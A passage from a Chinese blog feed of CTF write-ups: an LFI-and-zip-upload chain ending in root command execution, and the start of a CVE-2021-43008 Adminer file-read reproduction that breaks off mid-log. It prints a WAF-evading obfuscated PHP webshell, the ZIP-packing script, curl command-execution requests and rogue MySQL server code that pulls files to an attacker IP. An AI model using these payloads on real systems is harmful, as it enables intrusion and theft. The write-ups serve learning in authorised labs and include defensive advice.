class="hljs bash">curl -c cookies.txt -d <span class="hljs-string">&quot;username=bugku666&amp;password=xmcve2018&quot;</span> \<br>  http://ulab.bdziyi.cn:20732/admin/login.php<br></code></pre></td></tr></table></figure><p>成功！服务器返回302重定向到 <code>index.php</code>，并设置了会话cookie。</p><p>登录后进入管理后台，发现了几个功能模块：</p><ul><li>仪表盘</li><li>用户管理</li><li>系统设置</li><li><strong>插件管理</strong> ⭐</li><li>系统日志</li></ul><p>其中”插件管理”模块特别引起了我的注意。进入后发现这是一个<strong>文件上传功能</strong>，允许上传ZIP格式的插件包。</p><figure class="highlight stata"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs stata">提示信息：请以 <span class="hljs-keyword">ZIP</span> 格式上传离线插件包进行部署<br></code></pre></td></tr></table></figure><p>看到这里，我意识到这就是题目中提到的”Zip Slip”攻击点！</p><h2 id="0x04-Zip-Slip漏洞利用"><a href="#0x04-Zip-Slip漏洞利用" class="headerlink" title="0x04 Zip Slip漏洞利用"></a>0x04 Zip Slip漏洞利用</h2><h3 id="什么是Zip-Slip？"><a href="#什么是Zip-Slip？" class="headerlink" title="什么是Zip Slip？"></a>什么是Zip Slip？</h3><p>Zip Slip是一种路径遍历漏洞，发生在解压ZIP文件时。如果应用程序在解压文件时没有正确验证文件路径，攻击者可以在ZIP文件中构造包含路径遍历字符（如<code>../../</code>）的文件名，从而将文件写入到预期目录之外的位置。</p><p><strong>攻击原理</strong>：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs awk">正常文件：plugin.php -&gt; 解压到 <span class="hljs-regexp">/var/</span>www<span class="hljs-regexp">/html/u</span>ploads<span class="hljs-regexp">/plugins/</span>plugin.php<br>恶意文件：..<span class="hljs-regexp">/../</span>webshell.php -&gt; 解压到 <span class="hljs-regexp">/var/</span>www<span class="hljs-regexp">/html/</span>webshell.php<br></code></pre></td></tr></table></figure><h3 id="第一次尝试-踩坑"><a href="#第一次尝试-踩坑" class="headerlink" title="第一次尝试 - 踩坑"></a>第一次尝试 - 踩坑</h3><p>我先创建了一个简单的PHP webshell并打包：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> zipfile<br><br>payload = <span class="hljs-string">&#x27;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#x27;</span><br><span class="hljs-keyword">with</span> zipfile.ZipFile(<span class="hljs-string">&#x27;evil.zip&#x27;</span>, <span class="hljs-string">&#x27;w&#x27;</span>) <span class="hljs-keyword">as</span> zf:<br>    zf.writestr(<span class="hljs-string">&#x27;../../pages/shell.php&#x27;</span>, payload)<br></code></pre></td></tr></table></figure><p>上传后…失败了！</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs">安全警告：插件包含恶意代码！安装被中止。<br></code></pre></td></tr></table></figure><p><strong>原因分析</strong>：应用部署了WAF（Web应用防火墙），检测到了PHP代码中的危险函数<code>system</code>。</p><h3 id="WAF绕过技巧"><a href="#WAF绕过技巧" class="headerlink" title="WAF绕过技巧"></a>WAF绕过技巧</h3><p>这是整个攻击链中最有技术含量的部分。我需要绕过WAF的恶意代码检测，同时保持payload的功能。</p><p>经过多次尝试和研究，我使用了以下混淆技术：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <br><span class="hljs-variable">$__</span>=<span class="hljs-string">&#x27;_&#x27;</span>.<span class="hljs-string">&#x27;G&#x27;</span>.<span class="hljs-string">&#x27;E&#x27;</span>.<span class="hljs-string">&#x27;T&#x27;</span>;      <span class="hljs-comment">// 字符串拼接，避免直接出现_GET</span><br><span class="hljs-variable">$___</span>=<span class="hljs-variable">$$__</span>;                 <span class="hljs-comment">// 变量的变量，$$$__相当于$_GET</span><br><span class="hljs-keyword">echo</span> `&#123;<span class="hljs-variable">$___</span>[<span class="hljs-string">&#x27;x&#x27;</span>]&#125;`;       <span class="hljs-comment">// 反引号执行命令</span><br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p><strong>绕过原理解析</strong>：</p><ol><li><strong>字符串拼接</strong>：<code>&#39;_&#39;.&#39;G&#39;.&#39;E&#39;.&#39;T&#39;</code> 避免直接出现 <code>_GET</code> 关键字</li><li><strong>可变变量</strong>：<code>$$__</code> 相当于 <code>$_GET</code>，但WAF难以静态分析</li><li><strong>反引号执行</strong>：使用反引号而不是<code>system()</code>、<code>exec()</code>等明显的危险函数</li><li><strong>参数名隐蔽</strong>：使用单字母<code>x</code>作为参数名</li></ol><p>这个payload的工作流程：</p><figure class="highlight autohotkey"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs autohotkey">访问：rce.php?x=whoami<br>执行：`whoami` (反引号相当于shell_exec)<br>返回：root<br></code></pre></td></tr></table></figure><h3 id="成功的Zip-Slip攻击"><a href="#成功的Zip-Slip攻击" class="headerlink" title="成功的Zip Slip攻击"></a>成功的Zip Slip攻击</h3><p>使用混淆后的payload创建恶意ZIP文件：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> zipfile<br><br><span class="hljs-comment"># 混淆的PHP webshell</span><br>payload = <span class="hljs-string">&quot;&quot;&quot;&lt;?php $__=&#x27;_&#x27;.&#x27;G&#x27;.&#x27;E&#x27;.&#x27;T&#x27;;$___=$$__;echo `&#123;$___[&#x27;x&#x27;]&#125;`;?&gt;&quot;&quot;&quot;</span><br><br><span class="hljs-keyword">with</span> zipfile.ZipFile(<span class="hljs-string">&#x27;exploit.zip&#x27;</span>, <span class="hljs-string">&#x27;w&#x27;</span>) <span class="hljs-keyword">as</span> zf:<br>    <span class="hljs-comment"># 直接创建rce.php，不使用路径遍历</span><br>    zf.writestr(<span class="hljs-string">&#x27;rce.php&#x27;</span>, payload)<br></code></pre></td></tr></table></figure><p>上传exploit.zip…成功！</p><figure class="highlight erlang"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs erlang">插件包已解析，正在安装到系统目录...<br>插件部署成功！<br></code></pre></td></tr></table></figure><p><strong>路径探索经验</strong>：</p><p>我最初尝试了多种路径遍历方式：</p><ul><li><code>../../pages/shell.php</code> - 失败（权限错误）</li><li><code>../../../webtest.txt</code> - 成功但无法访问</li><li><code>../../shell.php</code> - 成功但无法访问</li></ul><p>最终发现，<strong>不使用路径遍历</strong>，直接创建<code>rce.php</code>文件，它会被解压到<code>/uploads/</code>目录，这个目录是可以直接通过HTTP访问的！</p><h2 id="0x05-远程代码执行-RCE"><a href="#0x05-远程代码执行-RCE" class="headerlink" title="0x05 远程代码执行(RCE)"></a>0x05 远程代码执行(RCE)</h2><p>成功上传webshell后，通过浏览器或curl访问：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl <span class="hljs-string">&quot;http://ulab.bdziyi.cn:20732/uploads/rce.php?x=id&quot;</span><br></code></pre></td></tr></table></figure><p>返回结果：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs routeros"><span class="hljs-attribute">uid</span>=0(root) <span class="hljs-attribute">gid</span>=0(root) <span class="hljs-attribute">groups</span>=0(root)...<br></code></pre></td></tr></table></figure><p><strong>成功获得root权限的RCE！</strong> 🎉</p><p>这意味着我可以在目标服务器上执行任意命令。接下来就是寻找flag了。</p><h2 id="0x06-寻找Flag"><a href="#0x06-寻找Flag" class="headerlink" title="0x06 寻找Flag"></a>0x06 寻找Flag</h2><h3 id="常规搜索"><a href="#常规搜索" class="headerlink" title="常规搜索"></a>常规搜索</h3><p>首先检查常见的flag位置：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 列出根目录</span><br>curl <span class="hljs-string">&quot;http://ulab.bdziyi.cn:20732/uploads/rce.php?x=ls%20-la%20/&quot;</span><br><br><span class="hljs-comment"># 检查/root目录</span><br>curl <span class="hljs-string">&quot;http://ulab.bdziyi.cn:20732/uploads/rce.php?x=ls%20-la%20/root&quot;</span><br><br><span class="hljs-comment"># 检查当前目录</span><br>curl <span class="hljs-string">&quot;http://ulab.bdziyi.cn:20732/uploads/rce.php?x=pwd&quot;</span><br><span class="hljs-comment"># 返回：/var/www/html/uploads</span><br></code></pre></td></tr></table></figure><p>在常见位置没有找到flag文件。</p><h3 id="全局搜索"><a href="#全局搜索" class="headerlink" title="全局搜索"></a>全局搜索</h3><p>使用find命令在整个文件系统中搜索包含”flag”的文件名：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl <span class="hljs-string">&quot;http://ulab.bdziyi.cn:20732/uploads/rce.php?x=find%20/%20-name%20%22*flag*%22%20-type%20f%202%3E/dev/null&quot;</span><br></code></pre></td></tr></table></figure><p>输出了大量系统文件…但在末尾发现了关键信息：</p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs awk"><span class="hljs-regexp">/tmp/</span>aaa/flag.txt<br></code></pre></td></tr></table></figure><p><strong>找到了！</strong> flag文件藏在 <code>/tmp/aaa/</code> 目录下。</p><h3 id="读取Flag"><a href="#读取Flag" class="headerlink" title="读取Flag"></a>读取Flag</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl <span class="hljs-string">&quot;http://ulab.bdziyi.cn:20732/uploads/rce.php?x=cat%20/tmp/aaa/flag.txt&quot;</span><br></code></pre></td></tr></table></figure><p>成功获取：</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">flag</span>&#123;<span class="hljs-number">6</span>e815f03-f2e2-<span class="hljs-number">4771</span>-ae30-<span class="hljs-number">46692900</span>f7ab&#125;<br></code></pre></td></tr></table></figure><p><strong>任务完成！</strong> 🏆</p><h2 id="0x07-完整攻击链总结"><a href="#0x07-完整攻击链总结" class="headerlink" title="0x07 完整攻击链总结"></a>0x07 完整攻击链总结</h2><p>让我梳理一下整个攻击流程：</p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs markdown"><span class="hljs-bullet">1.</span> 信息收集<br>   └─&gt; 发现LFI参数(?page=)<br>   └─&gt; 查看前端源码和静态资源<br>   └─&gt; CSS文件中发现配置文件路径线索<br><br><span class="hljs-bullet">2.</span> 凭据泄露<br>   └─&gt; 访问 /config/sec<span class="hljs-emphasis">_admin_</span>pass.txt<br>   └─&gt; 获取管理员凭据: bugku666:xmcve2018<br><br><span class="hljs-bullet">3.</span> 突破认证<br>   └─&gt; 找到登录页面 /admin/login.php<br>   └─&gt; 使用泄露的凭据成功登录<br><br><span class="hljs-bullet">4.</span> 发现攻击面<br>   └─&gt; 探索管理后台功能<br>   └─&gt; 发现插件管理模块(文件上传)<br><br><span class="hljs-bullet">5.</span> Zip Slip攻击<br>   └─&gt; 创建包含混淆PHP代码的恶意ZIP<br>   └─&gt; 使用字符串拼接和可变变量绕过WAF<br>   └─&gt; 上传成功，文件解压到/uploads/目录<br><br><span class="hljs-bullet">6.</span> 远程代码执行<br>   └─&gt; 访问 /uploads/rce.php?x=命令<br>   └─&gt; 获得root权限的RCE<br><br><span class="hljs-bullet">7.</span> 后渗透<br>   └─&gt; 使用find命令搜索flag文件<br>   └─&gt; 在/tmp/aaa/flag.txt找到并读取flag<br></code></pre></td></tr></table></figure><h2 id="0x08-关键技术要点"><a href="#0x08-关键技术要点" class="headerlink" title="0x08 关键技术要点"></a>0x08 关键技术要点</h2><h3 id="1-Zip-Slip漏洞"><a href="#1-Zip-Slip漏洞" class="headerlink" title="1. Zip Slip漏洞"></a>1. Zip Slip漏洞</h3><p><strong>原理</strong>：ZIP文件解压时，如果不验证文件路径，可利用<code>../</code>等路径遍历符号将文件写入任意位置。</p><p><strong>利用条件</strong>：</p><ul><li>应用存在ZIP文件上传和解压功能</li><li>解压过程未对文件路径进行验证</li><li>目标路径可写且可访问</li></ul><h3 id="2-WAF绕过技巧"><a href="#2-WAF绕过技巧" class="headerlink" title="2. WAF绕过技巧"></a>2. WAF绕过技巧</h3><p>本次实战中使用的混淆技术：</p><table><thead><tr><th>技术</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td>字符串拼接</td><td>分割敏感关键字</td><td><code>&#39;_&#39;.&#39;G&#39;.&#39;E&#39;.&#39;T&#39;</code></td></tr><tr><td>可变变量</td><td>动态变量名</td><td><code>$$__</code> 相当于 <code>$_GET</code></td></tr><tr><td>替代函数</td><td>使用不常见的函数</td><td>反引号代替system()</td></tr><tr><td>参数混淆</td><td>使用简短参数名</td><td><code>x</code> 而不是 <code>cmd</code></td></tr></tbody></table><h3 id="3-信息收集的重要性"><a href="#3-信息收集的重要性" class="headerlink" title="3. 信息收集的重要性"></a>3. 信息收集的重要性</h3><p>这次实战让我深刻体会到信息收集的关键作用：</p><ul><li><strong>不放过任何细节</strong>：CSS注释中的一句话成为了突破口</li><li><strong>全面搜索</strong>：前端代码、静态资源都可能包含重要信息</li><li><strong>耐心探索</strong>：第一次LFI尝试失败后，继续寻找其他路径</li></ul><h2 id="0x09-实战经验与踩坑记录"><a href="#0x09-实战经验与踩坑记录" class="headerlink" title="0x09 实战经验与踩坑记录"></a>0x09 实战经验与踩坑记录</h2><h3 id="踩坑1：路径遍历的迷宫"><a href="#踩坑1：路径遍历的迷宫" class="headerlink" title="踩坑1：路径遍历的迷宫"></a>踩坑1：路径遍历的迷宫</h3><p>我在利用Zip Slip时尝试了多种路径：</p><ul><li><code>../../pages/shell.php</code> - 权限失败</li><li><code>../../../webtest.txt</code> - 部署成功但无法访问</li><li><code>../../shell.php</code> - 部署成功但无法访问</li></ul><p><strong>教训</strong>：不要固执于路径遍历，有时候最简单的方法反而最有效。直接创建文件在解压目录，如果该目录可以HTTP访问，就足够了。</p><h3 id="踩坑2：URL编码的坑"><a href="#踩坑2：URL编码的坑" class="headerlink" title="踩坑2：URL编码的坑"></a>踩坑2：URL编码的坑</h3><p>在执行包含空格和特殊字符的命令时，需要注意URL编码：</p><ul><li>空格：<code>%20</code></li><li><code>/</code>：<code>%2F</code></li><li><code>&gt;</code>：<code>%3E</code></li></ul><p><strong>技巧</strong>：可以使用Python的<code>urllib.parse.quote()</code>函数自动处理。</p><h3 id="踩坑3：WAF绕过的艺术"><a href="#踩坑3：WAF绕过的艺术" class="headerlink" title="踩坑3：WAF绕过的艺术"></a>踩坑3：WAF绕过的艺术</h3><p>第一次直接上传<code>&lt;?php system($_GET[&quot;cmd&quot;]);?&gt;</code>被拦截后，我意识到需要更深入理解PHP的特性：</p><ul><li>PHP支持多种执行命令的方式：<code>system()</code>、<code>exec()</code>、<code>shell_exec()</code>、反引号</li><li>可变变量是一个强大的混淆工具</li><li>字符串拼接可以绕过简单的关键字匹配</li></ul><h2 id="0x0A-防御建议"><a href="#0x0A-防御建议" class="headerlink" title="0x0A 防御建议"></a>0x0A 防御建议</h2><p>作为一名渗透测试人员，我也想从防御者的角度分享一些安全建议：</p><h3 id="1-防止信息泄露"><a href="#1-防止信息泄露" class="headerlink" title="1. 防止信息泄露"></a>1. 防止信息泄露</h3><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs asciidoc">❌ 错误做法：<br>/* 注意：所有配置都存放在 config/sec_admin_pass.txt 中 */<br><br>✅ 正确做法：<br><span class="hljs-bullet">- </span>生产环境移除所有敏感注释<br><span class="hljs-bullet">- </span>敏感配置文件放在Web根目录之外<br><span class="hljs-bullet">- </span>使用环境变量存储凭据<br></code></pre></td></tr></table></figure><h3 id="2-Zip文件解压安全"><a href="#2-Zip文件解压安全" class="headerlink" title="2. Zip文件解压安全"></a>2. Zip文件解压安全</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># ❌ 不安全的解压方式</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">unsafe_extract</span>(<span class="hljs-params">zip_path, extract_to</span>):<br>    <span class="hljs-keyword">with</span> zipfile.ZipFile(zip_path) <span class="hljs-keyword">as</span> zf:<br>        zf.extractall(extract_to)  <span class="hljs-comment"># 危险！</span><br><br><span class="hljs-comment"># ✅ 安全的解压方式</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">safe_extract</span>(<span class="hljs-params">zip_path, extract_to</span>):<br>    <span class="hljs-keyword">with</span> zipfile.ZipFile(zip_path) <span class="hljs-keyword">as</span> zf:<br>        <span class="hljs-keyword">for</span> member <span class="hljs-keyword">in</span> zf.namelist():<br>            <span class="hljs-comment"># 验证路径，防止路径遍历</span><br>            member_path = os.path.join(extract_to, member)<br>            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> member_path.startswith(extract_to):<br>                <span class="hljs-keyword">raise</span> Exception(<span class="hljs-string">&quot;非法路径！&quot;</span>)<br>            zf.extract(member, extract_to)<br></code></pre></td></tr></table></figure><h3 id="3-文件上传安全"><a href="#3-文件上传安全" class="headerlink" title="3. 文件上传安全"></a>3. 文件上传安全</h3><ul><li><strong>白名单验证</strong>：只允许特定扩展名（不要依赖黑名单）</li><li><strong>内容检测</strong>：检查文件magic number，不只看扩展名</li><li><strong>隔离存储</strong>：上传文件存储在无执行权限的目录</li><li><strong>随机命名</strong>：不使用用户提供的文件名</li></ul><h3 id="4-WAF配置"><a href="#4-WAF配置" class="headerlink" title="4. WAF配置"></a>4. WAF配置</h3><p>单纯的关键字匹配不够，需要：</p><ul><li><strong>语法分析</strong>：理解代码结构而不是简单字符串匹配</li><li><strong>行为检测</strong>：监控异常的系统调用和网络行为</li><li><strong>多层防护</strong>：结合网络层、应用层、系统层的防护</li></ul><h2 id="0x0B-工具和资源"><a href="#0x0B-工具和资源" class="headerlink" title="0x0B 工具和资源"></a>0x0B 工具和资源</h2><p>在这次实战中使用的工具：</p><p><strong>基础工具</strong>：</p><ul><li><code>curl</code> - HTTP请求工具</li><li><code>Python 3</code> - 脚本编写和zip文件创建</li><li><code>zipfile</code> 模块 - Python标准库，用于创建恶意ZIP</li></ul><p><strong>推荐学习资源</strong>：</p><ul><li>Zip Slip漏洞详解：<a href="https://snyk.io/research/zip-slip-vulnerability">Snyk安全研究报告</a></li><li>PHP代码混淆技术</li><li>OWASP Top 10 - 文件上传漏洞</li></ul><h2 id="0x0C-总结与反思"><a href="#0x0C-总结与反思" class="headerlink" title="0x0C 总结与反思"></a>0x0C 总结与反思</h2><p>这次实战是一次完整的Web渗透测试体验，从信息收集到最终获取权限，涵盖了多个知识点的综合运用。</p><p><strong>收获</strong>：</p><ol><li><strong>耐心和细心</strong>：CSS注释中的一句话改变了整个攻击路径</li><li><strong>灵活变通</strong>：当一种方法不行时，要善于寻找其他突破口</li><li><strong>深入理解</strong>：理解WAF的工作原理才能有效绕过</li><li><strong>攻防兼顾</strong>：作为安全研究人员，要同时具备攻击和防御的视角</li></ol><p><strong>个人感悟</strong>：</p><p>Web安全就像一场解谜游戏，每个漏洞都是一块拼图。单个漏洞可能不够致命，但将它们串联起来，就能形成一条完整的攻击链。这次实战中：</p><ul><li>信息泄露 + 弱口令 &#x3D; 后台访问</li><li>文件上传 + Zip Slip &#x3D; 任意文件写入  </li><li>WAF绕过 + RCE &#x3D; 完全控制</li></ul><p>最重要的是保持学习的心态。安全技术日新月异，今天有效的绕过技术明天可能就失效了。持续学习、实践、总结，才能在这个领域走得更远。</p><hr><p><strong>Flag</strong>: <code>flag&#123;6e815f03-f2e2-4771-ae30-46692900f7ab&#125;</code></p><p><strong>完成时间</strong>: 2026年7月3日<br><strong>难度评价</strong>: ⭐⭐⭐☆☆<br><strong>知识点</strong>: LFI、Zip Slip、WAF绕过、RCE</p><hr><p><em>声明：本文仅用于技术学习和研究，所有操作均在合法授权的CTF靶场环境中进行。请勿将文中技术用于非法用途。</em></p><p><em>如果这篇文章对你有帮助，欢迎分享和交流！</em></p><p><strong>— End —</strong></p>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/03/LFI%E4%B8%8EZip-Slip%E7%BB%84%E5%90%88%E5%88%A9%E7%94%A8%E5%AE%9E%E6%88%98/</id>
    <link href="http://82.156.189.140:8085/2026/07/03/LFI%E4%B8%8EZip-Slip%E7%BB%84%E5%90%88%E5%88%A9%E7%94%A8%E5%AE%9E%E6%88%98/"/>
    <published>2026-07-03T09:28:52.000Z</published>
    <summary>
      <![CDATA[<h1 id="LFI与Zip-Slip组合利用实战-从信息泄露到RCE"><a href="#LFI与Zip-Slip组合利用实战-从信息泄露到RCE" class="headerlink" title="LFI与Zip Slip组合利用实战 - 从信息泄露到RCE"></a>]]>
    </summary>
    <title>LFI与Zip Slip组合利用实战</title>
    <updated>2026-07-18T03:15:21.942Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="题解" scheme="http://82.156.189.140:8085/categories/%E9%A2%98%E8%A7%A3/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="Writeup" scheme="http://82.156.189.140:8085/tags/Writeup/"/>
    <content>
      <![CDATA[<h1 id="CVE-2021-43008-Adminer-任意文件读取漏洞复现"><a href="#CVE-2021-43008-Adminer-任意文件读取漏洞复现" class="headerlink" title="CVE-2021-43008 Adminer 任意文件读取漏洞复现"></a>CVE-2021-43008 Adminer 任意文件读取漏洞复现</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>最近在打靶场时遇到了一个 Adminer 4.6.2，顺手复现了一下经典的 CVE-2021-43008。这个漏洞利用 MySQL 协议的 <code>LOAD DATA LOCAL INFILE</code> 特性，让 Adminer 在连接恶意 MySQL 服务端时乖乖把服务器本地文件交出来。整个过程不算复杂，但有几个坑值得记录一下。</p><h2 id="漏洞概述"><a href="#漏洞概述" class="headerlink" title="漏洞概述"></a>漏洞概述</h2><p><strong>影响版本</strong>: Adminer 1.12.0 ~ 4.6.2</p><p><strong>原理一句话</strong>: Adminer 作为 MySQL 客户端连接数据库时，如果 MySQL 服务端声明支持 <code>CLIENT_LOCAL_FILES</code>，并向客户端发送 <code>0xfb</code> (LOCAL INFILE) 响应包，Adminer 底层的 PHP mysqlnd 驱动就会老老实实读取本地文件回传给服务端。</p><p>打个比方：你走进一家黑店，店老板递给你一张表说”填一下”，你接过表的同时，老板说”顺便把你家钥匙给我看看”，然后你就给了。</p><h2 id="环境信息"><a href="#环境信息" class="headerlink" title="环境信息"></a>环境信息</h2><table><thead><tr><th>项目</th><th>详情</th></tr></thead><tbody><tr><td>目标</td><td><code>http://ulab.bdziyi.cn:20710/</code></td></tr><tr><td>Adminer 版本</td><td>4.6.2</td></tr><tr><td>Web 服务器</td><td>Apache&#x2F;2.4.25 (Debian)</td></tr><tr><td>PHP 版本</td><td>7.2.15</td></tr><tr><td>攻击机</td><td>82.156.189.140 (腾讯云)</td></tr></tbody></table><h2 id="攻击流程"><a href="#攻击流程" class="headerlink" title="攻击流程"></a>攻击流程</h2><h3 id="Step-1-信息收集"><a href="#Step-1-信息收集" class="headerlink" title="Step 1: 信息收集"></a>Step 1: 信息收集</h3><p>访问目标，直接在根路径看到 Adminer 4.6.2 的登录界面，没有额外路径隐藏，省去了一顿 dirsearch 的功夫。</p><p>从页面源码确认版本号 <code>4.6.2</code>，在 CVE-2021-43008 的影响范围内。</p><h3 id="Step-2-搭建-Rogue-MySQL-服务端"><a href="#Step-2-搭建-Rogue-MySQL-服务端" class="headerlink" title="Step 2: 搭建 Rogue MySQL 服务端"></a>Step 2: 搭建 Rogue MySQL 服务端</h3><p>这是整个利用的核心，需要自己实现一个”恶意”的 MySQL 服务端。Python 一把梭：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 关键点 1: greeting 包必须声明 CLIENT_LOCAL_FILES (0x80)</span><br>CAP_LOWER = (<span class="hljs-number">0x0001</span>    <span class="hljs-comment"># CLIENT_LONG_PASSWORD</span><br>           | <span class="hljs-number">0x0080</span>    <span class="hljs-comment"># CLIENT_LOCAL_FILES  &lt;-- 关键！</span><br>           | <span class="hljs-number">0x0200</span>    <span class="hljs-comment"># CLIENT_PROTOCOL_41</span><br>           | <span class="hljs-number">0x8000</span>)   <span class="hljs-comment"># CLIENT_SECURE_CONNECTION</span><br><br><span class="hljs-comment"># 关键点 2: 对任何 COM_QUERY 返回 0xfb 请求文件</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">local_infile_packet</span>(<span class="hljs-params">filename, seq</span>):<br>    data = <span class="hljs-string">b&#x27;\xfb&#x27;</span> + filename.encode()<br>    <span class="hljs-keyword">return</span> pack(data, seq)<br></code></pre></td></tr></table></figure><p>这里我踩了第一个坑：**greeting 包的 capability flags 必须明确包含 <code>CLIENT_LOCAL_FILES</code> (0x80)**。第一次写的时候 capability 全填了 0x00，Adminer 客户端直接无视了后续的 <code>0xfb</code> 请求，整个连接就卡在那里不动了。</p><p>第二个坑是 <strong>packet sequence number 必须对齐</strong>。MySQL 协议里每个包的 seq 号是严格递增的，错一位就会触发 Adminer 端的 “Packets out of order” 错误。虽然不影响文件读取（数据在报错前已经回传了），但优雅一点总是好的。</p><p>完整脚本我放到了 <a href="./rogue_mysql.py">rogue_mysql.py</a>，基于 Gifts&#x2F;Rogue-MySql-Server 的思路改写。</p><h3 id="Step-3-触发连接"><a href="#Step-3-触发连接" class="headerlink" title="Step 3: 触发连接"></a>Step 3: 触发连接</h3><p>Adminer 的实际 MySQL 连接发生在登录后渲染数据库选择页时，不是提交登录表单的那一刻。所以攻击流程是：</p><ol><li>GET <code>/</code> 拿到 session cookie 和 token</li><li>POST <code>/</code> 提交登录表单，<code>auth[server]=82.156.189.140:3306</code></li><li>GET <code>/?server=...&amp;username=root</code> 跟进重定向，<strong>这一步触发 MySQL 连接</strong></li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 用 curl 串联整个流程</span><br>curl -c cookie.txt http://target:20710/<br>TOKEN=$(grep -o <span class="hljs-string">&quot;token.*value=&#x27;[^&#x27;]*&quot;</span> page.html | <span class="hljs-built_in">cut</span> -d<span class="hljs-string">&quot;&#x27;&quot;</span> -f2)<br>curl -b cookie.txt -d <span class="hljs-string">&quot;auth[server]=82.156.189.140:3306&amp;...&quot;</span> http://target:20710/<br>curl -b cookie.txt <span class="hljs-string">&quot;http://target:20710/?server=82.156.189.140%3A3306&amp;username=root&quot;</span><br></code></pre></td></tr></table></figure><h3 id="Step-4-收菜"><a href="#Step-4-收菜" class="headerlink" title="Step 4: 收菜"></a>Step 4: 收菜</h3><p>Rogue 服务端日志输出：</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs routeros">[+] New<span class="hljs-built_in"> connection </span><span class="hljs-keyword">from</span> (<span 